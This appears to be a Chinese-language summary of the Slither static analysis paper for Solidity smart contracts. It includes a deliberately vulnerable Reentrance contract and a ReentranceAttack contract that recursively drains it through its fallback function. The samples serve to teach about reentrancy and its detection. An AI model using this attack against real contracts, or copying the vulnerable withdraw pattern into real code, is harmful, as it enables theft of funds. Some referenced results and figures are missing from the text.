Slither: A Static Analysis Framework For Smart
论文标题:Slither:智能的静态分析框架;
补充阅读:Slither: The Leading Static Analyzer for Smart Contracts
工具开源:Slither, the Solidity source analyzer,也是以太坊官方推荐的另一款静态智能合约分析工具之一。
论文引用:Feist J, Grieco G, Groce A. Slither: a static analysis framework for smart contracts[C]//2019 IEEE/ACM 2nd International Workshop on Emerging Trends in Software Engineering for Blockchain (WETSEB). IEEE, 2019: 8-15.
一、主要内容
可重入攻击介绍
可重入攻击也就是攻击方发送一笔交易,导致合约一致重复执行直到将合约账户的资源消耗完。攻击方能成功进行可重入攻击,主要依赖于Soildity为智能合约提供的fallback和call函数,下面先对这两个函数的功能进行介绍。
Fallback 函数
以太坊的智能合约,可以声明一个匿名函数(unnamed function),叫做 Fallback 函数,这个函数不带任何参数,也没有返回值。当向这个合约发送消息时,如果没有找到匹配的函数就会调用 fallback 函数。比如向合约转账,但要合约接收 Ether,那么 fallback 函数必须声明为 payable,否则试图向此合约转 ETH 将失败。如下:
function() payable public { // payable 关键字,表明调用此函数,可向合约转 Ether。
}
向合约发送 send、transfer、call 消息时候都会调用 fallback 函数,不同的是 send 和 transfer 有 2300 gas 的限制,也就是传递给 fallback 的只有 2300 gas,这个 gas 只能用于记录日志,因为其他操作都将超过 2300 gas。但 call 则会把剩余的所有 gas 都给 fallback 函数,这有可能导致循环调用。
Call函数
call 可导致可重入攻击,当向合约转账的时候,会调用 fallback 函数,带有漏洞的合约代码如下:
- withdraw函数的msg.sender.call.value可能成为恶意代码攻击的地方。
- 如果发起交易方也是智能合约账户,当攻击方的合约账户通过调用Reentrance合约的withdraw函数进行提现的时候,由于调用call函数,将会调用攻击方合约的fallback函数;如果fallback代码再次调用Reentrance合约的withdraw函数就会形成代码可重入,将Reentrance合约账户的金额全部提走而在区块的记录仅仅提现了第一笔
contract Reentrance {mapping(address => uint) public balances;// 充值function donate(address _to) public payable {balances[_to] += msg.value;}// 查看余额function balanceOf(address _who) public view returns (uint balance) {return balances[_who];}// 提现function withdraw(uint _amount) public {if(balances[msg.sender] >= _amount) {if(msg.sender.call.value(_amount)()) { //造成可重入攻击的代码_amount;}balances[msg.sender] -= _amount;}}function() public payable {}
}
攻击方的合约代码如下:
contract ReentranceAttack{Reentrance entrance;function ReentranceAttack(address _target) public payable {entrance = Reentrance(_target);}function deposit() public payable{entrance.donate.value(msg.value);}function attack() public{entrance.withdraw(0.5 ether);entrance.withdraw(0.5 ether);}function() public payable{//攻击方将会递归进行提币操作entrance.withdraw(0.5 ether);}function withdraw() public {msg.sender.transfer(this.balance);}
}
二、设计实现
基本功能
Slither是一个用Python 3编写的智能合约静态分析框架,提供如下功能:
- 自动化漏洞检测(Automated vulnerability detection)。提供超30多项的漏洞检查模型,模型列表详见:https://github.com/crytic/slither#detectors。
- 自动优化检测(Automated optimization detection)。Slither可以检测编译器遗漏的代码优化项并给出优化建议。
- 代码理解(Code understanding)。Slither能够绘制合约的继承拓扑图,合约方法调用关系图等,帮助开发者理解代码。
- 辅助代码审查(Assisted code review)。用户可以通过API与Slither进行交互。
工作方式
Slither的工作方式如下:
- Solidity compiler:智能合约源码经过solc编译后得到Solidity抽象语法树(Solidity Abstract Syntax Tree,AST)作为Slither的输入;可以指定Slither去调用一些常见的框架(包括Truffle,Embark和Dapp)去分析一份智能合约。
- information recovery(数据整合):Slither会生成一些重要的信息,比如合约的继承图(inheritance graph)、控制流图(CFG)以及合约中函数列表。
- SlithIR conversion:Slither将合约代码转换为SlithIR(一种内部表示语言),目的是通过简单的API实现高精度分析,支持污点和值的跟踪,从而支持检测复杂的模型。
- 在代码分析阶段,Slither运行一组预定义的分析,包括合约中变量、函数的依赖关系;变量的读写和函数的权限控制。
- 经过Slither的核心处理之后,就可以提供漏洞检测、代码优化检测和代码理解输出等。
三、实验评估
本文的一个重要部分是将Slither与其他智能合约静态分析工具进行比较,我们将Slither(版本0.5.0)与其他开源静态分析工具进行对比,以检测以太坊智能合约中的漏洞,对比的对象有:Securify(版本37e2984),SmartCheck(版本4d3367a)和Solhint(版本1.1.10)。我们决定以检测可重入漏洞作为评估检测好坏的标准,因为可重入漏洞是最古老,最易理解和最危险的安全问题之一。
它在第一个月筹集了超过1.5亿美元的资金。2016年6月17日,黑客从该组织的“重入性”漏洞中抽走了5000万美元。从以太经典(ETC)到以太币(ETH)的硬叉导致了解决这次黑客攻击所产生问题的所有努力。图2显示了一个简单的可重入合约的经典示例,该合约可被人利用以抽取其所有以太币。
可重入检测器(The reentrancy detecto)是我们评估的所有工具中可用的少数几个之一。此外,我们尝试了Etherscan提供其源代码的一千个最常用的合同(交易数量最大的那些合同),以获得以下结果:
四、总结
Slither自从被开发出来,技术迭代速度很快。截止到目前(2020.10.22),开发者最近发布了Slither0.6.13版,对其做了一些技术改进并添加了一些功能。目前Slither已经拥有96多个开源探测器,包含两个YUL特定检测器,适用于竞态条件、弱加密和其他关键漏洞的检测。相比于其他用于出于科研目的、论文一经发表就不再维护而言的工具而言,Slither有更好健壮性。